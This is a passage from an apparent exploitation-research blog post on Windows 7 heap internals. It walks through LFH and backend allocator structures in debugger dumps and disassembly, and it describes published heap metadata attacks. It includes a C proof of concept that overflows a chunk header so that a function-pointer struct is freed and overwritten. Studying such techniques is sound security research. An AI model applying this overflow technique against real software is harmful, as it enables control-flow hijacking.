       +0x082 HeaderValidateLength : Uint2B
       +0x084 HeaderValidateCopy : Ptr32 Void
       +0x088 NextAvailableTagIndex : Uint2B
       +0x08a MaximumTagIndex  : Uint2B
       +0x08c TagEntries       : Ptr32 _HEAP_TAG_ENTRY
       +0x090 UCRList          : _LIST_ENTRY
       +0x098 AlignRound       : Uint4B
       +0x09c AlignMask        : Uint4B
       +0x0a0 VirtualAllocdBlocks : _LIST_ENTRY
       +0x0a8 SegmentList      : _LIST_ENTRY
       +0x0b0 AllocatorBackTraceIndex : Uint2B
       +0x0b4 NonDedicatedListLength : Uint4B
       +0x0b8 BlocksIndex      : Ptr32 Void
       +0x0bc UCRIndex         : Ptr32 Void
       +0x0c0 PseudoTagEntries : Ptr32 _HEAP_PSEUDO_TAG_ENTRY
       +0x0c4 FreeLists        : _LIST_ENTRY
       +0x0cc LockVariable     : Ptr32 _HEAP_LOCK
       +0x0d0 CommitRoutine    : Ptr32     long 
       +0x0d4 FrontEndHeap     : Ptr32 Void
       +0x0d8 FrontHeapLockCount : Uint2B
       +0x0da FrontEndHeapType : UChar
       +0x0dc Counters         : _HEAP_COUNTERS
       +0x130 TuningParameters : _HEAP_TUNING_PARAMETERS
    
    0:004> dt _LFH_HEAP
    ntdll!_LFH_HEAP
       +0x000 Lock             : _RTL_CRITICAL_SECTION
       +0x018 SubSegmentZones  : _LIST_ENTRY
       +0x020 ZoneBlockSize    : Uint4B
       +0x024 Heap             : Ptr32 Void
       +0x028 SegmentChange    : Uint4B
       +0x02c SegmentCreate    : Uint4B
       +0x030 SegmentInsertInFree : Uint4B
       +0x034 SegmentDelete    : Uint4B
       +0x038 CacheAllocs      : Uint4B
       +0x03c CacheFrees       : Uint4B
       +0x040 SizeInCache      : Uint4B
       +0x048 RunInfo          : _HEAP_BUCKET_RUN_INFO
       +0x050 UserBlockCache   : [12] _USER_MEMORY_CACHE_ENTRY
       +0x110 Buckets          : [128] _HEAP_BUCKET
       +0x310 LocalData        : [1] _HEAP_LOCAL_DATA
    
    0:004> dt _HEAP_LOCAL_DATA 
    ntdll!_HEAP_LOCAL_DATA
       +0x000 DeletedSubSegments : _SLIST_HEADER
       +0x008 CrtZone          : Ptr32 _LFH_BLOCK_ZONE
       +0x00c LowFragHeap      : Ptr32 _LFH_HEAP
       +0x010 Sequence         : Uint4B
       +0x018 SegmentInfo      : [128] _HEAP_LOCAL_SEGMENT_INFO
    
    0:004> dt _HEAP_LOCAL_SEGMENT_INFO
    ntdll!_HEAP_LOCAL_SEGMENT_INFO
       +0x000 Hint             : Ptr32 _HEAP_SUBSEGMENT
       +0x004 ActiveSubsegment : Ptr32 _HEAP_SUBSEGMENT
       +0x008 CachedItems      : [16] Ptr32 _HEAP_SUBSEGMENT
       +0x048 SListHeader      : _SLIST_HEADER
       +0x050 Counters         : _HEAP_BUCKET_COUNTERS
       +0x058 LocalData        : Ptr32 _HEAP_LOCAL_DATA
       +0x05c LastOpSequence   : Uint4B
       +0x060 BucketIndex      : Uint2B
       +0x062 LastUsed         : Uint2B
    
    0:004> dt _HEAP_SUBSEGMENT
    ntdll!_HEAP_SUBSEGMENT
       +0x000 LocalInfo        : Ptr32 _HEAP_LOCAL_SEGMENT_INFO
       +0x004 UserBlocks       : Ptr32 _HEAP_USERDATA_HEADER
       +0x008 AggregateExchg   : _INTERLOCK_SEQ
       +0x010 BlockSize        : Uint2B
       +0x012 Flags            : Uint2B
       +0x014 BlockCount       : Uint2B
       +0x016 SizeIndex        : UChar
       +0x017 AffinityIndex    : UChar
       +0x010 Alignment        : [2] Uint4B
       +0x018 SFreeListEntry   : _SINGLE_LIST_ENTRY
       +0x01c Lock             : Uint4B
    
    0:004> dt _HEAP_USERDATA_HEADER
    ntdll!_HEAP_USERDATA_HEADER
       +0x000 SFreeListEntry   : _SINGLE_LIST_ENTRY
       +0x000 SubSegment       : Ptr32 _HEAP_SUBSEGMENT
       +0x004 Reserved         : Ptr32 Void
       +0x008 SizeIndex        : Uint4B
       +0x00c Signature        : Uint4B
    
    0:004> dt _INTERLOCK_SEQ
    ntdll!_INTERLOCK_SEQ
       +0x000 Depth            : Uint2B
       +0x002 FreeEntryOffset  : Uint2B
       +0x000 OffsetAndDepth   : Uint4B
       +0x004 Sequence         : Uint4B
       +0x000 Exchg            : Int8B
    
[/code]

Note that the LocalData\[1\] contains a pointer to an array list of 128
management structures known as the \_HEAP\_LOCAL\_SEGMENT\_INFO data stucture.
Each of those structures are managed indivdullly for a given ‘size’. This is
why the LFH can be referred to as ‘buckets’ or ‘bins’ as each size is managed
independantly.

However for the sake of sanity \(and clarity\) we will refer to them today as
‘bins’ because as Dr valasek said, it could be confused with \_HEAP\_BUCKET
structure, used by the BackEnd.

The user chunks \(\_HEAP\_ENTRY\) is the exact location of where the chunks
are stored despite them not being documented in the pdb symbols by Microsoft
see Nico’s tweet. So what does the \_HEAP\_ENTRY structure look like?

[code]

           +------------+----------------------------------------------------------------+
           | Size       | Flags | SmallTagIndex | PrevSize | SegmentOffset | UnusedBytes |
           |------------|----------------------------------------------------------------|
           | NextOffset |                                                                |
           +------------+                                                                |
           |                User Data +--------------------------------------->          |
           |                                                                             |
           +-----------------------------------------------------------------------------+
    
    0:004> dt _HEAP_ENTRY
    ntdll!_HEAP_ENTRY
       +0x000 Size             : Uint2B
       +0x002 Flags            : UChar
       +0x003 SmallTagIndex    : UChar
       +0x000 SubSegmentCode   : Ptr32 Void
       +0x004 PreviousSize     : Uint2B
       +0x006 SegmentOffset    : UChar
       +0x006 LFHFlags         : UChar
       +0x007 UnusedBytes      : UChar
       +0x000 FunctionIndex    : Uint2B
       +0x002 ContextValue     : Uint2B
       +0x000 InterceptorValue : Uint4B
       +0x004 UnusedBytesLength : Uint2B
       +0x006 EntryOffset      : UChar
       +0x007 ExtendedBlockSignature : UChar
       +0x000 Code1            : Uint4B
       +0x004 Code2            : Uint2B
       +0x006 Code3            : UChar
       +0x007 Code4            : UChar
       +0x000 AgregateCode     : Uint8B
    
[/code]

Well actually, some offsets in the header represent different things depending
on the state of the chunk. We’ll get to this soon. One thing to note is that
the size, flags and SmallTagIndex are all encoded now \(unless otherwise
specfied\).

To view if the heap is using encoding, check \_heap->Encoding has a value set:

<img src='https://net-ninja.net/images/Encoding.png' alt='Heap encoding value
is set' />

So assuming this value is not NUL and that \_HEAP->EncodeFlagMask matches the
\_HEAP\_ENTRY->SmallTagIndex in the chunk when XOR’ed, the heap will decode
ist \_HEAP\_ENTRY chunk headers during algorithm execution.

### Triggering the LFH

The LFH needs to be ‘triggered’ in order for it to be used. Unlike previously
where the lookaside was used as long as it wasn’t full and if chunk sizes were
below 1024, the LFH is only used if there have been 0x12 \(18\) consective
allocations or 0x11 \(17\) consective allocations \(if there has been at least
1 allocation and free\).

Below is the code you might use to trigger the LFH for
\_LFH\_HEAP->\_HEAP\_LOCAL\_DATA\[1\]->\_HEAP\_LOCAL\_SEGMENT\_INFO\[n\]->

[code]

    #include <stdio.h>
    #include <windows.h>
    
    char *heaparray[300];
    long *pHeap;
    
    int _tmain(int argc, _TCHAR* argv[])
    {
              pHeap = (long *)HeapCreate(0x00040000,0,0);
    
              for (i=0; i<100; i++){
                    heaparray[i] = (char *)HeapAlloc(pHeap, 0, 0x1a8);
              }
    
              for (i=0; i<100; i++){
                    heaparray[i] = (char *)HeapAlloc(pHeap, 0, 0x1e0);
              }
    }
    
[/code]

If we think about it, we can determine the UserBlocks \(Bin\) size by
performing the calculation. 0x10 is used due to the \_HEAP\_USERDATA\_HEADER
first having 16 bytes and the current UserBlocks index starts at 0 and is
incremented on each UserBlocks.

  1. 0x1a8 + 0x10 / 0x08 = 0x37 - current UserBlocks index = 0x37
  2. 0x1e0 + 0x10 / 0x08 = 0x3e - current UserBlocks index = 0x3d

So what does activating the LFH look like?

<img src='https://net-ninja.net/images/activate_lfh.png' alt='Dumping each
activated bin within the LFH' />

\!heaper performs the validation for you on each chunk using the
\_HEAP\_ENTRY->NextOffset so that the integrity can be obtained when analysing
the UserBlocks. You are more than welcome to graph it too \(you will need
graphviz and pydot installed\):

<img src='https://net-ninja.net/images/LFH-graphing.png' alt='graphing the LFH
UserBlocks!' />

Unfortunatly, if there is a chunk overwrite in the UserBlocks, there is a
small bug in libheap that will prevent you from getting a valid heap handle
using the Immunity API. I have a workaround for this and am waiting on the
Immunity team to patch the bug. Finally, the LFH uses two core windows API to
handle allocation and free operations - RtlpLowFragHeapAllocFromContext\(\)
and RtlpLowFragHeapFree\(\).

### Allocation

The process for allocations are quite complex within the LFH. To begin with,
the RtlpLowFragHeapAllocFromContext\(\) API is only called if the
ListHint\[n\]->Blink == \_heap\_bucket+1. The additional 1 is used for a
bitwise operation with 1 also to determine if a \_HEAP\_BUCKET exists in
ListHint\[n\]->Blink.

[code]

    0:004> dt _HEAP_BUCKET
    ntdll!_HEAP_BUCKET
       +0x000 BlockUnits       : Uint2B
       +0x002 SizeIndex        : UChar
       +0x003 UseAffinity      : Pos 0, 1 Bit
       +0x003 DebugFlags       : Pos 1, 2 Bits
    
[/code]

The heap manager will obtain the following data structures:
\_HEAP\_LOCAL\_DATA, \_HEAP\_LOCAL\_SEGMENT\_INFO and \_HEAP\_SUBSEGMENT. It
does this by doing the following \(please refer to appendix B\) :

  1. at 0x77272E75, the \_LFH\_HEAP is determined
  2. at 0x77272E91, the \_HEAP\_LOCAL\_DATA is determined from the \_LFH\_HEAP
  3. at 0x77272EA2, the manager will determine the \_HEAP\_LOCAL\_SEGMENT\_INFO based upon the \_HEAP\_BUCKET\[n\]->SizeIndex
  4. at 0x77284002, if no \_HEAP\_LOCAL\_SEGMENT\_INFO->Hint is avaliable \(eg: no allocations from the LFH have happened before\) the manager will access the \_HEAP\_LOCAL\_SEGMENT\_INFO->ActiveSubsegment \(\_HEAP\_SUBSEGMENT\)

The \_HEAP\_SUBSEGMENT->\_INTERLOCK\_SEQ structure is accessed to get the
current UserBlocks \_INTERLOCK\_SEQ->OffsetAndDepth and
\_INTERLOCK\_SEQ->Sequence. This information is used to get a pointer to the
current free chunk for the particular UserBlocks as well helping to calculate
the offset for the next available chunk \(\_HEAP\_ENTRY->NextOffset\).

From this point forward, the code enters a loop to automatically update the
\_INTERLOCK\_SEQ->OffsetAndDepth by getting the next \_HEAP\_ENTRY chunk
\(using the NextOffset\), setting the \_INTERLOCK\_SEQ->FreeEntryOffset and
\_INTERLOCK\_SEQ->Depth values. If at 0x7728400A a \_HEAP\_SUBSEGMENT cannot
be obtained \(either from the Hint or ActiveSubsegment\) then a new
\_HEAP\_SUBSEGMENT is created using RtlpAllocateUserBlock\(\) and initialized
using RtlpSubSegmentInitialize\(\), thus, setting the ActiveSubsegment. The
create and initialization process will not be covered for brevity. Finally, an
atomic swap operation occurs against the \_INTERLOCK\_SEQ->OffsetAndDepth to
ensure reliability.

### Free

The free happens on sizes below 16k and is triggered via a call to
RtlpLowFragHeapFree\(\). To begin with, the function checks certain headers
are set \(\_HEAP\_ENTRY->UnusedBytes, \_HEAP\_ENTRY->ExtendedBlockSignature
and \_HEAP\_ENTRY->SegmentOffset\). If \_HEAP\_ENTRY->UnusedBytes is equal to
0x05, then the \_HEAP\_ENTRY->SegmentOffset will be used to re-adjust the
\_HEAP\_ENTRY chunks header. The \_HEAP\_ENTRY->SegmentOffset must re-align
the \_HEAP\_ENTRY chunk to a proper \_HEAP\_ENTRY chunk for this to be
successful.

Once the chunk header has been re-adjusted or not, the appropriate
\_HEAP\_SUBSEGMENT is determined based upon the re-adjusted \_HEAP\_ENTRY
chunk and the \_HEAP base. Then the UserBlocks is looked up using the correct
\_HEAP\_SUBSEGMENT for the re-adjusted \_HEAP\_ENTRY chunk, the
\_HEAP\_ENTRY->UnusedBytes is set to 0x80 \(signifying an LFH free\) and
\_HEAP\_ENTRY->LFHkey is set to 0x00.

Now the \_INTERLOCK\_SEQ is queried to access the
\_INTERLOCK\_SEQ->OffsetAndDepth followed by the \_INTERLOCK\_SEQ->Sequence. A
check is performed on the \_INTERLOCK\_SEQ->Depth to ensure that its not the
same as \_HEAP\_SUBSEGMENT->BlockCount \(this can be seen in appendix D at
0x77272CED\)

The \_HEAP\_ENTRY->NextOffset is set to the current
\_INTERLOCK\_SEQ->FreeEntryOffset. This could present an exploitable condition
\(we will discuss this later\)

the pseudo code for some of this looks like the following \(please refer to
appendix D\):

[code]

    while(1){
            int tmp_depth = _INTERLOCK_SEQ->Depth + 1
    
            if(Depth != SubSegment->BlockCount )
            {
    
                    //set the FreeEntry Offset of ChunkToFree
                    *(WORD)(ChunkHeader + 8) = AggrExchg.FreeEntryOffset;
    
                    // Subtract the size of the block being freed
                    // from the current offset; which will give
                    // you the next free chunk
                    // line 0x77272D0A
                    int NewOffset = AggrExchg.FreeEntryOffset - (ChunkHeader - UserBlocks) / 8;
    
                    AggrExchg_New.FreeEntryOffset = NewOffset;
    
                    //increase depth because we're freeing
                    AggrExchg_New.Depth = tmp_depth;
    
                    //set the Hint in the subsegment
                    Sequence = 1;
                    SubSegment->LocalInfo->Hint = SubSegment; // set the Hint after the first allocation from the LFH
            }
    
            // 0x77272D26 MOV EAX,DWORD PTR SS:[EBP-20]
            // 0x77272D29 MOV EDX,DWORD PTR SS:[EBP-1C]
            // 0x77272D2C LEA EDI,DWORD PTR DS:[ESI+8]
            if(AtomicSwap(&SubSegment->AggregateExchg, AggrExchg_New, AggrExchg))
                    break;
    
    }
    
[/code]

The Hint is updated with the current \_HEAP\_SUBSEGMENT and an automatic
swapping routine is performed on the \_INTERLOCK\_SEQ to ensure a successful
free.

## The BackEnd

The backend allocator is the default alloctor when allocating and freeing
chunks. The backend works somewhat differently to the old windows XP FreeList.
There is no longer a number of dedicated ‘FreeLists’ instead there is a single
FreeList that holds all **sizes**. The following diagram depicts how the
FreeList looks like.

[code]

                         <-+
                           |
      +---------------+    |
      |chunk: 0x1508f0<----|
      |Size:  0x6     |    |
      |Flink: 0x150890|    |
      |Blink: 0x1500c4+----+
      +-------+-------+    |
              |            |
      +-------v-------+    |
      |chunk: 0x150890<----|
      |Size:  0x6     |    |
      |Flink: 0x150800|    |
      |Blink: 0x1508f0+----+
      +-------+-------+    |
              |            |
      +-------v-------+    |
      |chunk: 0x150800<----|
      |Size:  0x6     |    |
      |Flink: 0x150988|    |
      |Blink: 0x150890+----+
      +-------+-------+    |
              |            |
      +-------v-------+    |
      |chunk: 0x150988<----|
      |Size:  0x8     |    |
      |Flink: 0x1509f8|    |
      |Blink: 0x150800+----+
      +-------+-------+    |
              |            |
      +-------v-------+    |
      |chunk: 0x1509f8<----|
      |Size:  0x3f    |    |
      |Flink: 0x150a00|    |
      |Blink: 0x150988+----+
      +-------+-------+    |
              |            |
      +-------v-------+    |
      |chunk: 0x150a00|    |
      |Size:  0xbe    |    |
      |Flink: 0x1500c4|    |
      |Blink: 0x1509f8+----+
      +---------------+
    
[/code]

However, now as an additional component to the FReeList, there is also a
special list of nodes called the ListHint. Each size has a relevant ListHint
and its ListHint points to the first chunk for that size. The following
updated diagram displays this:

[code]

                         <-+
                           |
      +---------------+    |
      |chunk: 0x1508f0<----| <----------------------------+
      |Size:  0x6     |    |                              |
      |Flink: 0x150890|    |                              |
      |Blink: 0x1500c4+----+                              |
      +-------+-------+    |                              |
              |            |                              |
      +-------v-------+    |                              +------------------------+
      |chunk: 0x150890<----|                              |ListHint[0x6]           |
      |Size:  0x6     |    |                              |------------------------|
      |Flink: 0x150800|    |                              |Flink: 0x1508f0         |
      |Blink: 0x1508f0+----+                              |Blink: 0x8000a (counter)|
      +-------+-------+    |                              +------------------------+
              |            |
      +-------v-------+    |
      |chunk: 0x150800<----|                              +------------------------+
      |Size:  0x6     |    |                              |ListHint[0x8]           |
      |Flink: 0x150988|    |                              |------------------------|
      |Blink: 0x150890+----+                              |Flink: 0x150988         |
      +-------+-------+    |                              |Blink: 0x30004 (counter)|
              |            |                              |------------------------+
      +-------v-------+    |                              |
      |chunk: 0x150988<----| <----------------------------+
      |Size:  0x8     |    |                              +------------------------+
      |Flink: 0x1509f8|    |                              |ListHint[0x3f]          |
      |Blink: 0x150800+----+                              |------------------------|
      +-------+-------+    |                              |Flink: 0x1509f8         |
              |            |                              |Blink: 0x150988         |
      +-------v-------+    |                              |------------------------+
      |chunk: 0x1509f8<----| <----------------------------+
      |Size:  0x3f    |    |
      |Flink: 0x150a00|    |                              +------------------------+
      |Blink: 0x150988+----+                              |ListHint[0xbe]          |
      +-------+-------+    |                              |------------------------|
              |            |                              |Flink: 0x150a00         |
      +-------v-------+    |                              |Blink: 0x150a88         |
      |chunk: 0x150a00|    | <----------------------------+------------------------+
      |Size:  0xbe    |    |
      |Flink: 0x1500c4|    |
      |Blink: 0x1509f8+----+
      +-------+-------+
              |
              v
    
[/code]

As you can see, the ListHint for the relative size acts as a kind of starting
node, except that its not a sentinel node \(the linked chunks in the FreeList
never point to the ListHint\).

Another thing to note is that the blink will be a counter value until the LFH
is activated. When it is activated, it will contian a pointer to a
\_HEAP\_BUCKET for the particular bin size. I am not going to cover too much
on the FreeList/ListHint as it is not so relevant to exploitation at this
point in time.

You can view the ListHint/FreeList structure, much like you can with the
UserBlocks in the LFH by executing the following in immunity debugger:

‘\!heaper ab \[heap\]’ \(ab: analysebackend\)

<img src='https://net-ninja.net/images/FreeList-ListHint.png' alt='Viewing the
ListHint/FreeList' />

### Allocation

First during an allocation, some values in the \_HEAP \(heap\) and
\_HEAP\_LIST\_LOOKUP \(BlocksIndex\) data structures are checked to be not
null such as the Interceptor and ArraySize. Then a comparison against the
requested size and BlocksIndex->ArraySize to ensure that we are in the correct
BlocksIndex \(otherwise the code will use the second BlocksIndex \(0x800\)\).

Then a check is made to see if the requested size is bigger \(ArraySize-1\)
\(ArraySize has changed due to the BlocksIndex change\), if it is, it will
request a chunk from ListHint\[ArraySize-1\] \(if using the first
BlocksIndex\). A FreeList\[0\] like structure does exist for large chunks and
are tracked in the following ListHint entries:

  * First BlocksIndex has chunks > 0x7f in ListHint\[0x7f\]
  * Second BlocksIndex has chunks > 0x800 in ListHint\[0x7ff\]

## Free

A few checks are initially done and then the free in the backend begins at
0x77812C69 where a check is done at \_HEAP\_ENTRY->UnusedBytes is below 0x80.
Typically, during a standard allocation from the BackEnd, the
\_HEAP\_ENTRY->UnusedBytes will be set to 0x08.

If this is the case, the code will call RtlpFreeHeap \(not to be confused with
the first RtlFreeHeap\). This code is **not** in the below appendix.

Just for clarification, we will call this function RtlpFreeHeap\_2.

The RtlpFreeHeap\_2 begins by checking the \_HEAP->ForceFlags and ensuring
they are not set. The code then trys to enter into the critical section using
the \_HEAP->LockVariable.

Now the \_HEAP->EncodeFlagMask is checked to see if it is not NULL and if not
then the \_HEAP->Encoding \(a valid \_HEAP\_BUCKET structure\). The code
decodes the chunk header and gets the \_HEAP\_LIST\_LOOKUP \(+0x150 from the
heap base\):

[code]

    0:004> u ntdll!RtlpFreeHeap+0xac
    77526183 MOV EAX,DWORD PTR DS:[EDI+50]                 ; load the _HEAP->encoding
    77526186 XOR DWORD PTR DS:[ESI],EAX                    ; decode the header
    77526188 MOV AL,BYTE PTR DS:[ESI+2]                    ; load the _HEAP_ENTRY->ContextValue
    7752618B XOR AL,BYTE PTR DS:[ESI+1]                    ; tmp = _HEAP_ENTRY->ContextValue ^ _HEAP_ENTRY->Size
    7752618E XOR AL,BYTE PTR DS:[ESI]                      ; tmp = _HEAP_ENTRY->ContextValue ^ _HEAP_ENTRY->Size
    77526190 CMP BYTE PTR DS:[ESI+3],AL                    ; compare the _HEAP_ENTRY->SmallTagIndex with tmp
    77526193 JNZ ntdll.7755A0F3
    77526199 MOVZX ECX,WORD PTR DS:[ESI]                   ; zero extend the _HEAP_ENTRY->size
    7752619C MOV EAX,DWORD PTR DS:[EDI+B8]                 ; get the _HEAP->BlocksIndex
    775261A2 MOV DWORD PTR SS:[EBP-A8],EAX                 ; save it
    
    ;; start loop
    
    775261A8 MOV EDX,DWORD PTR DS:[EAX+4]                  ; load BlocksIndex->ArraySize
    775261AB CMP ECX,EDX                                   ; compare BlocksIndex->ArraySize with _HEAP_ENTRY->Size
    775261AD JNB ntdll.775269AB                            ; is the size below BlocksIndex->ArraySize?
    775261B3 DEC EDX
    775261B4 CMP ECX,EDX                                   ; is the size below (BlocksIndex->ArraySize-1)?
    775261B6 JNB ntdll.7752A478
    775261BC SUB ECX,DWORD PTR DS:[EAX+14]                 ; subtract the BlocksIndex->BaseIndex
    775261BF CMP DWORD PTR DS:[EAX+8],EBX
    775261C2 JE SHORT ntdll.775261C6
    775261C4 ADD ECX,ECX
    775261C6 MOV EAX,DWORD PTR DS:[EAX+20]                 ; BlocksIndex->ListHints
    775261C9 LEA EAX,DWORD PTR DS:[EAX+ECX*4]              ; load the approprate ListHint[n]
    775261CC CMP EAX,EBX
    775261CE JE SHORT ntdll.775261E1
    775261D0 MOV ECX,DWORD PTR DS:[EAX+4]                  ; load the Blink (counter)
    775261D3 TEST CL,1                                     ; does the (ListHint->Blink + 1) == 1, this will return true if using
    775261D6 JNZ SHORT ntdll.775261E1                      ; Jump will be taken if _HEAP_BUCKET+1 (because _HEAP_BUCKET is rounded to the nearst 8)
    775261D8 CMP ECX,2
    775261DB JB SHORT ntdll.775261E1
    775261DD ADD DWORD PTR DS:[EAX+4],-2                   ; -0x2 to the counter for the free()
    775261E1 TEST BYTE PTR DS:[ESI+2],8                    ; _HEAP_ENTRY->SmallTagIndex & 0x8 (??)
    775261E5 JNZ ntdll.774F69B8                            ; unknown code path
    775261EB CMP BYTE PTR DS:[ESI+7],4                     ; compare _HEAP_ENTRY->UnusedBytes with 4 (??)
    775261EF JE ntdll.774F4AE9                             ; unknown code path
    775261F5 CMP BYTE PTR SS:[EBP-19],0
    775261F9 JE ntdll.774EFBD7                             ; unknown code path
    775261FF MOVZX EAX,WORD PTR DS:[ESI]
    77526202 MOV DWORD PTR SS:[EBP-30],EAX
    77526205 TEST BYTE PTR DS:[EDI+40],80                  ; if the _HEAP->Flags allow for Coalescing, proceed
    77526209 JNZ SHORT ntdll.7752621F
    7752620B PUSH EBX
    7752620C LEA EAX,DWORD PTR SS:[EBP-30]
    7752620F PUSH EAX                                      ; arg3
    77526210 PUSH ESI                                      ; arg2
    77526211 PUSH EDI                                      ; arg1
    77526212 CALL ntdll!RtlpCoalesceFreeBlocks
    
    ...
    ...
    (because im lazy)
    
[/code]

The code will then execute a BlocksIndex search routine. Once an approprate
BlocksIndex \(\_HEAP\_LIST\_LOOKUP\) has been found, the code will subtract
0x2 from the counter \(\_LIST\_ENTRY->Blink\). That way you will need to
perform 0x11 consecutive allocations in order to trigger the LFH \(due to the
-0x2, please see ‘Triggering the LFH’\).

Once this is complete, RtlpFreeHeap\(\) will call RtlpCoalesceFreeBlocks\(\)
as long as the \_HEAP->Flags do not & with 0x80 and then proceed to free
adjacent chunks. Once the chunk is coalesced, a check is performed against the
\_HEAP->DeCommitThreshold to ensure the threshold isnt reached \(if so, free
using the VirtualFree\).

Now the code will perform a routine to search to find the appropriate
insertion point for the chunk. I’m not going to go thorugh the code of this
right now \(I may update this if I find an appropriate attack vector with
it\).

## The Exploitation

Multiple exploitation techniques have been thought of and they primarily
consist of attacking metadata that is still not encoded. Dr Hawkes talked
about overwriting the Segment Offset of a valid \_HEAP\_ENTRY chunk and re-
adjusting the chunk header.

Another technique that was invented was by Dr Valasek was called a
FreeEntryOffset overwrite and consists of overwriting the forward adjustcent
chunks NextOffset which when allocated will update the
\_INTERLOCK\_SEQ->FreeEntryOffset value to the controlled NextOffset. This
would in essence, force the allocator to allocate a chunk that maybe has
already been allocated.

So in summary, we have:

  1. Dr Hawkes - arbitray Frees
  2. Dr Valasek - arbitray Allocations
  3. Undisclosed for now.

One thing to note is that today, metadata attacks tend to facilitate
application data attacks. The removal of Flink within the FrontEnd heap
manager’s data structure has generally stopped direct function pointer
overwrites. Ok now lets simulate some heap overflows and try the techniques.

### The Dr Hawkes \#1 attack technique

Dr Hawkes says that if you overwrite the \_HEAP\_ENTRY->UnusedBytes to 0x05,
then you can have the chunk header re-adjusted \(ie, use another \_HEAP\_ENTRY
chunk\).

Ok so lets start with this:

[code]

      +------------------------------------------------------------------------------------+
      |_HEAP_LOCAL_SEGMENT_INFO[0x5]->_HEAP_SUBSEGMENT->_HEAP_USERDATA_HEADER (UserBlocks) |
      |------------------------------------------------------------------------------------|
      | Object            |                     |                      |UserBlocks+0x14*0x8|
      |                   |                     |                      |NextOffset: 0x1a   |
      |                   |                     |                      |                   |
      |                   |                     |                      |                   |
      |                   |                     |                      |                   |
      |                   |                     |                      |                   |
      |                   |          +----------------->               |                   |
      |                   |          |          |                      |                   |
      |-------------------|----------|----------|----------------------|-------------------|
      |UserBlocks+0x1a*0x8|UserBlocks|0x20*0x8  |UserBlocks+0x26*0x8   |UserBlocks+0x2c*0x8|
      |NextOffset: 0x20   |NextOffset| 0x26     |NextOffset: 0x2c      |NextOffset: 0xffff |
      |                   |          |          |                      |                   |
      |                   |          |          |                      |                   |
      |                   |          |          |                      |                   |
      |                   |          |          |                      |                   |
      |                   |          |          |                      |                   |
      |                   |          |          |                      |                   |
      +------------------------------|-----------------------------------------------------+
                                     |
                                     |
                                     |
                                     |
                                     +
      +--------------------------------------+
      |_INTERLOCK_SEQ (aggregateExchg)       |
      |--------------------------------------|
      |Depth: 0x27                           |
      |FreeEntryOffset: 0x70 (0x0e * 0x8)    |
      |Next chunk: UserBlocks + 0x70  = ?    |
      +--------------------------------------+
    
[/code]

This diagram shows that the UserBlocks chunk pointer is at position 3 and that
we are suppose free into slot 3. But if we re-adjust the chunk header, we can
free into any other location:

[code]

      +------------------------------------------------------------------------------------+
      |_HEAP_LOCAL_SEGMENT_INFO[0x5]->_HEAP_SUBSEGMENT->_HEAP_USERDATA_HEADER (UserBlocks) |
      |------------------------------------------------------------------------------------|
      |UserBlocks+0x02*0x8|                     |                      |UserBlocks+0x14*0x8|
      |NextOffset: 0x0e   |                     |                      |NextOffset: 0x1a   |
      |                   |                     |                      |                   |
      |                   |                     |                      |                   |
      |                   |                     |                      |                   |
      |                   |                     |                      |                   |
      |              <---------------+          |                      |                   |
      |                   |          |          |                      |                   |
      |-------------------|----------|----------|----------------------|-------------------|
      |UserBlocks+0x1a*0x8|UserBlocks|0x20*0x8  |UserBlocks+0x26*0x8   |UserBlocks+0x2c*0x8|
      |NextOffset: 0x20   |NextOffset| 0x26     |NextOffset: 0x2c      |NextOffset: 0xffff |
      |                   |          |          |                      |                   |
      |                   |          |          |                      |                   |
      |                   |          |          |                      |                   |
      |                   |          |          |                      |                   |
      |                   |          |          |                      |                   |
      |                   |          |          |                      |                   |
      +------------------------------|-----------------------------------------------------+
                                     |
                                     |
                                     |
                                     |
                                     +
      +--------------------------------------+
      |_INTERLOCK_SEQ (aggregateExchg)       |
      |--------------------------------------|
      |Depth: 0x28                           |
      |FreeEntryOffset: 0x10 (0x02 * 0x8)    |
      |Next chunk: UserBlocks + 0x10  = ?    |
      +--------------------------------------+
    
[/code]

So given this outcome, we essentially free a chunk that is not supposed to be
freed and if we can simply allocate and fill that memory region, then code
execution is likely \(as we can overwrite an objects vtable\).

The following code is what I was using to trigger the condition:

[code]

    // SegmentOffsetOverwrite.cpp : Defines the entry point for the console application.
    // Technique by Dr Hawkes
    
    #include "stdafx.h"
    #include <stdio.h>
    #include <tchar.h>
    #include <windows.h>
    #include <string.h>
    
    HANDLE myheap = NULL;
    int i;
    char *chunks[0x40];
    
    void foo()
    {
            printf("(+) foo\n");
    };
    
    // 232-byte structure containing a function pointer
    struct own_me {
            void (*get_eip)();
            char padding[28];
    };
    
    int main()
    {        
            // Create our heap
            myheap = HeapCreate(0, 1*1024*1024, 0);
    
            // activate the LFH
            for (i=0; i<0x20; i++){
                    chunks[i] = (char*)HeapAlloc(myheap,0,0x20);
            }
            
            // allocate the structure and initialize the function pointer
            struct own_me* control_flow = (struct own_me*) HeapAlloc(myheap,0,sizeof(struct own_me));
            control_flow->get_eip = &foo;
    
            // allocate a chunk AFTER the structure
            char* buf = (char*)HeapAlloc(myheap,0,0x20);
    
            // allocate a chunk which will be overflowed..
            char* target = (char*)HeapAlloc(myheap,0,0x20);
    
            // overflow into target setting segoffset: 0x0f and unused: 0x5
            // 0x5 * 2 = 0xa (2 chunks backwards including the chunk itself)
            memcpy(buf, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x02\x00\x00\x00\x42\x42\x0a\x05", 40);
    
            // free target to re-adjust the header and free the own_me struct
            HeapFree(myheap, 0, target);
    
            // allocate the own_me struct
            char *lulz = (char*)HeapAlloc(myheap,0,0x20);
    
            // overwrite the own_me struct function pointer
            memcpy(lulz, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 32);
    
            // Call the function pointer
            control_flow->get_eip();
    
            return 0;
    }
    
[/code]

Essentially the goal as far as I understood it was to reach
RtlpLowFragHeapFree\(\) and the obvious path would have been:

[code]

    0:004> u ntdll!RtlFreeHeap L40
    ntdll!RtlFreeHeap:
    ...
    77522c30 jne     ntdll!RtlFreeHeap+0x58 (7754ddf3)
    77522c36 lea     eax,[ebx-8]
    77522c39 cmp     byte ptr [eax+7],5
    77522c3d je      ntdll!RtlFreeHeap+0x40 (7754dddc)                ; take the jump based on _HEAP_ENTRY->UnusedBytes set to 0x5
    
    0:004> u 7754dddc
    ntdll!RtlFreeHeap+0x40:
    7754dddc movzx   ecx,byte ptr [eax+6]
    7754dde0 shl     ecx,3
    7754dde3 sub     eax,ecx
    7754dde5 jmp     ntdll!RtlFreeHeap+0x49 (77522c43)
    
    0:004> u 77522c43 L20
    ntdll!RtlFreeHeap+0x49:
    77522c43 test    byte ptr [eax+7],3Fh
